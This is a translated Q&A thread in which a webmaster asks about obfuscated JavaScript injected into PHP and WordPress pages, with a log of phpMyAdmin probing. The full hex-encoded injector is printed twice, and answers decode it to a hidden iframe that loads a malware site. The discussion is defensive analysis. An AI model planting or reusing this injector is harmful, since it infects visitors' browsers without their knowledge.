这是一次可能的黑客攻击吗？

Question

前几天，我的网站的问答部分出了问题，所以我关闭了索引，因为我发现这个错误与语法错误有关。所以我把它擦掉了然后让它死了。然而，当我打开它时，我发现：

<script>var t="";var arr="646f63756d656e742e777269746528273c696672616d65207372633d22687474703a2f2f616d65726963616e6d6f62696c652e63612f666f72756d2e7068703f74703d36373565616665633433316231663732222077696474683d223122206865696768743d223122206672616d65626f726465723d2230223e3c2f696672616d653e2729";for(i=0;i<arr.length;i+=2)t+=String.fromCharCode(parseInt(arr[i]+arr[i+1],16));eval(t);</script>httpdocs/');<script>var t="";var arr="646f63756d656e742e777269746528273c696672616d65207372633d22687474703a2f2f616d65726963616e6d6f62696c652e63612f666f72756d2e7068703f74703d36373565616665633433316231663732222077696474683d223122206865696768743d223122206672616d65626f726465723d2230223e3c2f696672616d653e2729";for(i=0;i<arr.length;i+=2)t+=String.fromCharCode(parseInt(arr[i]+arr[i+1],16));eval(t);</script>

后来我在多个PHP站点(比如wordpress的索引)中发现了它，我想知道的是，是否有人知道它来自哪里，它的用途是什么。

我在我的日志中也发现了这一点，看起来很可疑：

87.106.166.95 - - [19/Jul/2011:00:03:14 +0400] "GET //typo3/phpmyadmin/scripts/setup.php HTTP/1.1" 301 552 "-" "-"
 87.106.166.95 - - [19/Jul/2011:00:03:15 +0400] "GET //phpadmin/scripts/setup.php HTTP/1.1" 301 544 "-" "-"
87.106.166.95 - - [19/Jul/2011:00:03:16 +0400] "GET //phpMyAdmin/scripts/setup.php HTTP/1.1" 301 546 "-" "-"
87.106.166.95 - - [19/Jul/2011:00:03:16 +0400] "GET //phpmyadmin/scripts/setup.php HTTP/1.1" 404 474 "-" "-"
87.106.166.95 - - [19/Jul/2011:00:03:17 +0400] "GET //phpmyadmin1/scripts/setup.php HTTP/1.1" 301 547 "-" "-"
87.106.166.95 - - [19/Jul/2011:00:03:18 +0400] "GET //phpmyadmin2/scripts/setup.php HTTP/1.1" 301 547 "-" "-"
87.106.166.95 - - [19/Jul/2011:00:03:18 +0400] "GET //pma/scripts/setup.php HTTP/1.1" 301 539 "-" "-"
87.106.166.95 - - [19/Jul/2011:00:03:19 +0400] "GET //web/phpMyAdmin/scripts/setup.php     HTTP/1.1" 301 550 "-" "-"
87.106.166.95 - - [19/Jul/2011:00:03:20 +0400] "GET //xampp/phpmyadmin/scripts/setup.php HTTP/1.1" 301 552 "-" "-"
87.106.166.95 - - [19/Jul/2011:00:03:20 +0400] "GET //web/scripts/setup.php HTTP/1.1" 301 539 "-" "-"
87.106.166.95 - - [19/Jul/2011:00:03:21 +0400] "GET //php-my-admin/scripts/setup.php HTTP/1.1" 301 548 "-" "-"
87.106.166.95 - - [19/Jul/2011:00:03:22 +0400] "GET //websql/scripts/setup.php HTTP/1.1" 301 542 "-" "-"
87.106.166.95 - - [19/Jul/2011:00:03:22 +0400] "GET //phpmyadmin/scripts/setup.php HTTP/1.1" 404 474 "-" "-"
87.106.166.95 - - [19/Jul/2011:00:03:22 +0400] "GET //phpMyAdmin/scripts/setup.php HTTP/1.1" 301 546 "-" "-"
87.106.166.95 - - [19/Jul/2011:00:03:23 +0400] "GET //phpMyAdmin-2/scripts/setup.php HTTP/1.1" 301 548 "-" "-"
87.106.166.95 - - [19/Jul/2011:00:03:24 +0400] "GET //php-my-admin/scripts/setup.php HTTP/1.1" 301 548 "-" "-"
87.106.166.95 - - [19/Jul/2011:00:03:24 +0400] "GET //sqlmanager/scripts/setup.php HTTP/1.1" 301 546 "-" "-"
87.106.166.95 - - [19/Jul/2011:00:03:25 +0400] "GET //mysqlmanager/scripts/setup.php HTTP/1.1" 301 548 "-" "-"
87.106.166.95 - - [19/Jul/2011:00:03:26 +0400] "GET //p/m/a/scripts/setup.php HTTP/1.1" 301 541 "-" "-"
87.106.166.95 - - [19/Jul/2011:00:03:26 +0400] "GET //PMA2005/scripts/setup.php HTTP/1.1" 301 543 "-" "-"
87.106.166.95 - - [19/Jul/2011:00:03:27 +0400] "GET //pma2005/scripts/setup.php HTTP/1.1" 301 543 "-" "-"
87.106.166.95 - - [19/Jul/2011:00:03:28 +0400] "GET //phpmanager/scripts/setup.php HTTP/1.1" 301 546 "-" "-"
87.106.166.95 - - [19/Jul/2011:00:03:28 +0400] "GET //php-myadmin/scripts/setup.php HTTP/1.1" 301 547 "-" "-"
87.106.166.95 - - [19/Jul/2011:00:03:29 +0400] "GET //phpmy-admin/scripts/setup.php HTTP/1.1" 301 547 "-" "-"
87.106.166.95 - - [19/Jul/2011:00:03:30 +0400] "GET //webadmin/scripts/setup.php HTTP/1.1" 301 544 "-" "-"
87.106.166.95 - - [19/Jul/2011:00:03:30 +0400] "GET //sqlweb/scripts/setup.php HTTP/1.1" 301 542 "-" "-"
87.106.166.95 - - [19/Jul/2011:00:03:31 +0400] "GET //websql/scripts/setup.php HTTP/1.1" 301 542 "-" "-"
87.106.166.95 - - [19/Jul/2011:00:03:32 +0400] "GET //webdb/scripts/setup.php HTTP/1.1" 301 541 "-" "-"
87.106.166.95 - - [19/Jul/2011:00:03:32 +0400] "GET //mysqladmin/scripts/setup.php HTTP/1.1" 301 546 "-" "-"
87.106.166.95 - - [19/Jul/2011:00:03:33 +0400] "GET //mysql-admin/scripts/setup.php HTTP/1.1" 301 547 "-" "-"
87.106.166.95 - - [19/Jul/2011:00:03:33 +0400] "GET //databaseadmin/scripts/setup.php HTTP/1.1" 301 549 "-" "-"
87.106.166.95 - - [19/Jul/2011:00:03:34 +0400] "GET //admm/scripts/setup.php HTTP/1.1" 301 540 "-" "-"
87.106.166.95 - - [19/Jul/2011:00:03:35 +0400] "GET //admn/scripts/setup.php HTTP/1.1" 301 540 "-" "-"

Answer 1

是的，这看起来像是在黑客攻击你的网站后混淆恶意代码的一种常见方式。它可以做任何数量的事情，并且经常链接到中央服务器，这样它的行为就可以在以后修改。

要确定这段代码的作用，我们只需要运行它，用console.log替换eval。这将打印出来

document.write('<iframe src="http://americanmobile.ca/forum.php?tp=675eafec431b1f72" width="1" height="1" frameborder="0"></iframe>')

该网站的URL和内容是企图掩盖其目的。它当前服务的页面被进一步混淆。我已经expanded the code, here了。它似乎会查看您的浏览器和插件的版本，以针对您的访问者的病毒。

有许多机器人在互联网上爬行，寻找易受攻击的软件版本，并像这样自动地进行黑客攻击。通常，尝试追踪它们并不是很简单，也不是很有成效；下次只需关注更安全的地方即可。

Answer 2

它来自一个黑客。

它的目的是攻击你。

移除它，升级你的防御系统。

Answer 3

是啊，有人进入并插入了那个。其加密的javascript来修改页面。要了解实际发生了什么，一种简单的方法是将eval()替换为console.log()或甚至alert() -这将为您提供代码。

我已经这样做了，这是代码添加到页面中的内容：

<iframe src="http://americanmobile.ca/forum.php?tp=675eafec431b1f72" width="1" height="1" frameborder="0"></iframe>